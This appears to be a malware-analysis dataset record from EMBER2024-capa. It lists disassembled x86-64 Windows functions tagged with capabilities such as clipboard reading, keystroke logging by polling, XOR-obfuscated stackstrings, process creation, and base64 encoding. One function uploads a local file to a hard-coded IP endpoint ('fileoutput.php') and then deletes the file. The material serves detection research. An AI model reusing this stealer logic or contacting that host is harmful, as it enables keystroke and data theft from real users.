joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400da820
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x50
xor esi, esi
mov rdi, rcx
mov r15d, select
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov qword [rsp + 0x40], rsi
mov r14d, esi
mov qword [rsp + 0x48], r15
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400da9d2
lea ecx, [rsi + 1]
mov qword [rsp + 0x70], rbx
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
test rax, rax
je 0x1400da8b4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x1400da8ab
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], sil
jne 0x1400da886
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.1400197b0
mov r15, qword [rsp + 0x48]
mov r14, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov qword [rsp + 0x78], rbp
mov qword [rsp + 0x80], r12
call qword [sym.imp.USER32.dll_CloseClipboard]
test r14, r14
je 0x1400da98d
cmp r15, 0x10
lea rax, [rsp + 0x30]
lea rbx, [rsp + 0x30]
cmovae rax, rsi
cmovae rbx, rsi
add r14, rax
cmp rbx, r14
je 0x1400da98d
movabs r12, 0x7ffffffffffffff
nop dword [rax]
cmp byte [0x140256648], 0
movsx ebp, byte [rbx]
je 0x1400da981
mov rcx, qword [rdi + 0x270]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov word [rsp + 0x20], bp
mov rbp, qword [rdi + 0x260]
cmp qword [rdi + 0x268], r12
je 0x1400da9e4
mov ecx, 0x20
call fcn.1400e9714
movsd xmm0, qword [rsp + 0x20]
movsd qword [rax + 0x10], xmm0
mov dword [rax + 0x18], 3
inc qword [rdi + 0x268]
mov rcx, qword [rbp + 8]
mov qword [rax], rbp
mov qword [rax + 8], rcx
mov qword [rbp + 8], rax
mov qword [rcx], rax
mov byte [rdi + 0x279], 1
mov rcx, qword [rdi + 0x270]
cmp dword [rcx + 8], 0xffffffff
jge 0x1400da981
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
inc rbx
cmp rbx, r14
jne 0x1400da900
cmp r15, 0x10
jb 0x1400da9c0
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400da9b8
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400da9f1
mov rcx, rsi
call fcn.1400e9750
mov rbp, qword [rsp + 0x78]
mov r12, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x88]
add rsp, 0x50
pop r15
pop r14
pop rdi
ret
lea rcx, str.list_too_long
call fcn.1400e7d20
int3
call fcn.1400f040c
int3
Function at 0x1400dab10
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0x80
mov esi, edx
movzx r12d, r9b
mov byte [rcx + 0x2c4], 0
movzx ebp, r8b
mov rbx, rcx
test r8b, r8b
je 0x1400dad67
movzx edi, byte [rsp + 0xc0]
test r9b, r9b
jne 0x1400daba1
xor edx, edx
mov ecx, esi
call qword [sym.imp.USER32.dll_MapVirtualKeyA]
mov r8d, 0x40
lea rdx, [rsp + 0x40]
mov ecx, eax
mov eax, edi
shl eax, 0x18
shl ecx, 0x10
or ecx, eax
call qword [sym.imp.USER32.dll_GetKeyNameTextA]
test eax, eax
jle 0x1400daba1
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400dab86
lea rcx, [rbx + 0x2a0]
lea rdx, [rsp + 0x40]
call fcn.1400197b0
cmp dword [rbx + 0x2c0], 0xa2
jne 0x1400dad51
cmp esi, 0xa4
jne 0x1400dad51
test dil, dil
je 0x1400dabc9
mov byte [rbx + 0x2c4], 1
mov rcx, qword [rbx + 0x270]
mov qword [rsp + 0xa0], r14
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test r12b, r12b
jne 0x1400dac6c
mov r8d, esi
mov qword [rsp + 0xa8], r15
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.1400daa00
mov r14, qword [rsp + 0x20]
mov r15, qword [rsp + 0x28]
mov rdi, r14
cmp r14, r15
je 0x1400dac26
mov rcx, qword [rdi]
movzx edx, bpl
call fcn.1400db590
add rdi, 8
cmp rdi, r15
jne 0x1400dac11
mov r15, qword [rsp + 0xa8]
test r14, r14
je 0x1400dac6c
mov rdx, qword [rsp + 0x30]
mov rax, r14
sub rdx, r14
and rdx, 0xfffffffffffffff8
cmp rdx, 0x1000
jb 0x1400dac64
mov r14, qword [r14 - 8]
add rdx, 0x27
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400dadae
mov rcx, r14
call fcn.1400e9750
cmp byte [0x140256648], 0
je 0x1400dad13
cmp esi, 0x256
jae 0x1400dacab
mov byte [rsi + rbx + 8], bpl
cmp byte [rbx + 0xaa], 0
je 0x1400dacab
lea eax, [rsi - 0x56]
test eax, 0xffffffdf
jne 0x1400dacab
test bpl, bpl
je 0x1400dacab
test r12b, r12b
jne 0x1400dacab
mov rcx, rbx
call fcn.1400da820
mov rdi, qword [rbx + 0x260]
movabs rax, 0x7ffffffffffffff
mov dword [rsp + 0x20], esi
mov byte [rsp + 0x24], bpl
mov byte [rsp + 0x25], r12b
cmp qword [rbx + 0x268], rax
je 0x1400dada1
mov ecx, 0x20
call fcn.1400e9714
movsd xmm0, qword [rsp + 0x20]
movsd qword [rax + 0x10], xmm0
mov dword [rax + 0x18], 4
inc qword [rbx + 0x268]
mov rcx, qword [rdi + 8]
mov qword [rax], rdi
mov qword [rax + 8], rcx
mov qword [rdi + 8], rax
mov qword [rcx], rax
mov byte [rbx + 0x279], 1
test bpl, bpl
je 0x1400dad1e
mov dword [rbx + 0x2c0], esi
mov rcx, qword [rbx + 0x270]
cmp dword [rcx + 8], 0xffffffff
jge 0x1400dad31
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov r14, qword [rsp + 0xa0]
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
cmp esi, 0x2e
jne 0x1400dad67
lea rcx, [0x1402595f0]
call fcn.1400d7280
jmp 0x1400dabc9
cmp esi, 0x2d
jne 0x1400dabc9
test bpl, bpl
je 0x1400dabc9
test r12b, r12b
jne 0x1400dabc9
cmp byte [0x140256648], r12b
lea rcx, [0x140256640]
sete dl
call fcn.1400d2bb0
mov byte [rbx + 0x279], 1
jmp 0x1400dad39
lea rcx, str.list_too_long
call fcn.1400e7d20
int3
call fcn.1400f040c
int3
Function at 0x1400fc210
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400fc03c

Function at 0x140110e90
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rcx
mov eax, 0xffffffff
test edx, edx
je 0x140110ece
mov r10d, edx
lea r11, [0x140130810]
nop word [rax + rax]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
mov edx, eax
shr eax, 8
xor r8, rdx
movzx ecx, r8b
xor eax, dword [r11 + rcx*4]
sub r10, 1
jne 0x140110eb0
not eax
ret
Function at 0x1400046b0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rbp, rcx
mov r8d, 0xe
lea rdx, str.128
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x1400048e0
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400048e0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x1400048e0
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x1400048e0
movzx r15d, word [rsi + 4]
lea ebx, [r15 - 1]
shl ebx, 4
add ebx, 0x16
mov ecx, ebx
call fcn.1400068bc
mov rdi, rax
xor r13d, r13d
mov dword [rax], 0x10000
lea r10d, [r13 + 1]
mov word [rax + 4], r15w
mov r8d, ebx
test r15d, r15d
je 0x1400047b2
lea rcx, [rax + 7]
lea rdx, [rsi + 7]
mov r9d, r15d
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rdx - 1]
mov byte [rcx - 1], al
movzx eax, byte [rdx]
mov byte [rcx], al
movzx eax, byte [rdx + 1]
mov byte [rcx + 1], al
mov byte [rcx + 2], r13b
movzx eax, word [rdx + 3]
mov word [rcx + 3], ax
movzx eax, word [rdx + 5]
mov word [rcx + 5], ax
mov eax, dword [rdx + 7]
mov dword [rcx + 7], eax
mov dword [rcx + 0xb], r8d
add r8d, dword [rdx + 7]
lea rcx, [rcx + 0x10]
lea rdx, [rdx + 0xe]
sub r9, r10
jne 0x140004770
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, r10d
mov edx, 0x40000000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r12, rax
mov qword [rsp + 0x20], r13
lea r9, [rsp + 0x88]
mov r8d, ebx
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, r13d
test r15d, r15d
je 0x1400048d7
add rsi, 0x12
call fcn.1400011e0
mov rcx, rax
test rax, rax
je 0x1400048fa
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x90], rax
movzx r8d, word [rsi]
lea rdx, [0x140029fa0]
lea rcx, [rsp + 0x90]
call fcn.140005f30
mov r8d, 3
mov rbx, qword [rsp + 0x90]
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov r14, rax
test rax, rax
je 0x1400048ac
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400048ac
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbp, rax
test rax, rax
je 0x1400048ac
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov qword [rsp + 0x20], r13
lea r9, [rsp + 0x88]
mov r8d, eax
mov rdx, rbp
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop
lea rdx, [rbx - 0x18]
mov eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400048c8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
inc edi
add rsi, 0xe
cmp edi, r15d
jl 0x140004807
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov ecx, 0x80004005
call fcn.140001040
int3
Function at 0x140001300
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x60], 0x3e363f4d
mov dword [rbp - 0x5c], 0x363f3737
mov word [rbp - 0x58], 0x373e
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x14001a9b0]
movdqu xmmword [rbp - 0x40], xmm1
movsd xmm0, qword [rbp - 0x60]
movsd qword [rbp - 0x50], xmm0
movzx eax, word [rbp - 0x58]
mov word [rbp - 0x48], ax
mov byte [rbp - 0x46], 0
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.1400011c0
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14000139d
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001398
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000140b
call fcn.1400015fc
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rdx, qword [rbp - 0x30]
xor r9d, r9d
lea r8, [0x14001a9a0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x1400013f4
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400013ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000140b
call fcn.1400015fc
xor eax, eax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400015a0
add rsp, 0x80
pop rbp
ret
call fcn.14000723c
int3

Function at 0x140002024
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000206e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000206e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000206e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000206e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000206e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002070
xor al, al
add rsp, 0x28
ret

Function at 0x140007e54
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140007ec3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007ec3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007ec3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007ec3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007ec3
cmp dword [rcx + 0x84], 0xe
jbe 0x140007ec3
cmp dword [rcx + 0xf8], 0
je 0x140007ec3
mov ecx, ebx
call fcn.140007f74
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140007d50
nop
cmp dword [rbp + 0x20], 0
je 0x140007f11
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140007f1c
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140007e54
Function at 0x140008058
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140007e54
Function at 0x14000add8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000ae08
xor eax, eax
jmp 0x14000aecb
mov rbp, rbx
cmp word [rax], si
je 0x14000ae2d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000ae14
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000ae10
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000acf8
movsxd r14, eax
test eax, eax
jne 0x14000ae6b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000ae01
mov rcx, r14
call fcn.14000918c
mov rdi, rax
test rax, rax
jne 0x14000ae84
xor ecx, ecx
call fcn.140009358
jmp 0x14000ae60
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000acf8
test eax, eax
jne 0x14000aeb5
mov rcx, rdi
call fcn.140009358
jmp 0x14000aebf
xor ecx, ecx
call fcn.140009358
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000e230
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140009dc8
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000e2ba
cmp byte [rbp - 0x21], r15b
je 0x14000e2b5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000e2f0
call fcn.14000c3ac
test eax, eax
jne 0x14000e2dc
cmp byte [rbp - 0x21], r15b
je 0x14000e2d4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000e2f0
cmp byte [rbp - 0x21], r15b
je 0x14000e2ed
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400093a8
test eax, eax
jne 0x14000e390
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140009dc8
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000e32f
cmp byte [rbp - 0x21], r15b
je 0x14000e364
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000e364
call fcn.14000c3ac
test eax, eax
jne 0x14000e350
cmp byte [rbp - 0x21], r15b
je 0x14000e349
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14000e364
cmp byte [rbp - 0x21], r15b
je 0x14000e361
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400093a8
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14000e390
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14000e393
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14000e3a1
mov rcx, rdi
call fcn.140009358
cmp byte [rbp + 0x3f], r15b
je 0x14000e3b0
mov rcx, qword [rbp + 0x27]
call fcn.140009358
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140011260
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140011288
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140011288
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001130
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0x30
mov rax, qword [0x14013be00]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov ecx, 3
mov dword [rsp + 0x20], 0
mov rsi, rdx
call fcn.140002030
call fcn.140002630
mov rbx, rax
test rax, rax
je 0x140001266
lea rdx, [0x1400ee6f8]
mov qword [rsp + 0x40], rdi
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
mov rdi, rax
mov rcx, rbx
test rax, rax
je 0x140001223
lea r8, str.http:__5.45.93.175_fileoutput.php
mov edx, 0x2712
call fcn.140004380
lea r8, [0x140001120]
mov edx, 0x4e2b
mov rcx, rbx
call fcn.140004380
mov r8, rdi
mov edx, 0x2711
mov rcx, rbx
call fcn.140004380
mov edx, 0x34
mov r8d, 1
mov rcx, rbx
call fcn.140004380
mov rcx, rbx
call fcn.140002710
test eax, eax
je 0x1400011f2
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x140001220
lea r8, [rsp + 0x20]
mov edx, 0x200002
mov rcx, rbx
call fcn.1400027c0
cmp dword [rsp + 0x20], 0x194
mov rcx, rdi
jne 0x14000124f
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
mov rcx, rbx
call fcn.140002740
call fcn.140002170
mov eax, 1
mov rdi, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400d0280
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rsi
ret
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rbx
call fcn.140002740
call fcn.140002170
xor eax, eax
jmp 0x140001232
call fcn.140002170
mov eax, 1
jmp 0x140001237
Function at 0x140001280
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
lea r9, [rdx + 2]
mov rbx, rdx
mov rdi, rcx
movabs rbp, 0xaaaaaaaaaaaaaaab
mov rax, rbp
mov r14, r8
mul r9
mov rax, 0xffffffffffffffff
shr rdx, 1
shl rdx, 2
mov qword [r8], rdx
add rdx, 1
cmovb rdx, rax
mov rcx, rdx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x1400013ea
xor eax, eax
lea r11, [0x140000000]
test rbx, rbx
je 0x1400013a2
mov r10, rsi
cmp rax, rbx
jae 0x14000132d
movzx r8d, byte [rax + rdi]
lea rcx, [rax + rdi]
inc rax
cmp rax, rbx
jae 0x140001330
movzx r9d, byte [rax + rdi]
lea rcx, [rax + rdi]
inc rax
mov rdx, rax
cmp rax, rbx
jae 0x140001333
movzx ecx, byte [rdx + rdi]
inc rax
jmp 0x140001335
xor r8d, r8d
xor r9d, r9d
xor ecx, ecx
shl r8, 8
add r8, r9
shl r8, 8
add r8, rcx
mov rcx, r8
shr rcx, 0x12
movzx ecx, byte [rcx + r11 + 0xee9c0]
mov byte [r10], cl
mov rcx, r8
shr rcx, 0xc
and ecx, 0x3f
movzx ecx, byte [rcx + r11 + 0xee9c0]
mov byte [r10 + 1], cl
mov rcx, r8
shr rcx, 6
and r8d, 0x3f
and ecx, 0x3f
movzx ecx, byte [rcx + r11 + 0xee9c0]
mov byte [r10 + 2], cl
movzx ecx, byte [r8 + r11 + 0xee9c0]
mov byte [r10 + 3], cl
add r10, 4
cmp rax, rbx
jb 0x1400012ff
mov rax, rbp
mul rbx
shr rdx, 1
lea rax, [rdx + rdx*2]
sub rbx, rax
movsxd rdx, dword [r11 + rbx*4 + 0xeea08]
test rdx, rdx
jle 0x1400013e0
mov rcx, qword [r14]
mov r8, rdx
dec rcx
add rcx, rsi
sub rcx, rdx
mov dl, 0x3d
inc rcx
call sub.VCRUNTIME140.dll_memset
nop dword [rax + rax]
mov rax, qword [r14]
mov byte [rsi + rax], 0
mov rax, rsi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140001410
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x100
mov rax, qword [0x14013be00]
xor rax, rsp
mov qword [rsp + 0xf0], rax
xorps xmm0, xmm0
mov dword [rsp + 0x68], 0x18
movups xmmword [rsp + 0x80], xmm0
mov rdi, rcx
mov dword [rsp + 0x78], 1
xor ecx, ecx
lea r9, [rsp + 0x68]
mov rax, rdx
mov qword [r11 - 0x28], rcx
xor esi, esi
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x30], rsi
mov rcx, rax
movups xmmword [r11 - 0x78], xmm0
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
movups xmmword [r11 - 0x68], xmm0
mov r8d, 2
mov qword [rsp + 0x70], rsi
movups xmmword [r11 - 0x58], xmm0
mov dword [rsp + 0x20], 2
movups xmmword [r11 - 0x48], xmm0
movups xmmword [r11 - 0x38], xmm0
mov dword [rsp + 0x80], WSASetLastError
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000155c
mov qword [rsp + 0xd8], rax
xor r9d, r9d
mov qword [rsp + 0xe0], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
mov dword [rsp + 0xbc], pe_nt_image_headers64
mov qword [rsp + 0x48], rax
mov rdx, rdi
lea rax, [rsp + 0x80]
xor ecx, ecx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001553
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.1400d0280
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x140001590
Capabilities:
Read file on windows

Disassembly:
push rdi
sub rsp, 0x20
lea rdx, [0x1400ee720]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
mov rdi, rax
test rax, rax
jne 0x1400015b1
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 0x30], rbx
xor edx, edx
mov r8d, 2
mov qword [rsp + 0x38], rsi
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
movsxd rbx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov ecx, ebx
mov rax, 0xffffffffffffffff
add ecx, 1
movsxd rcx, ecx
cmovo rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
jne 0x140001622
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov r9, rdi
mov r8, rbx
mov edx, 1
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rdi
mov byte [rbx + rsi], 0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x30]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret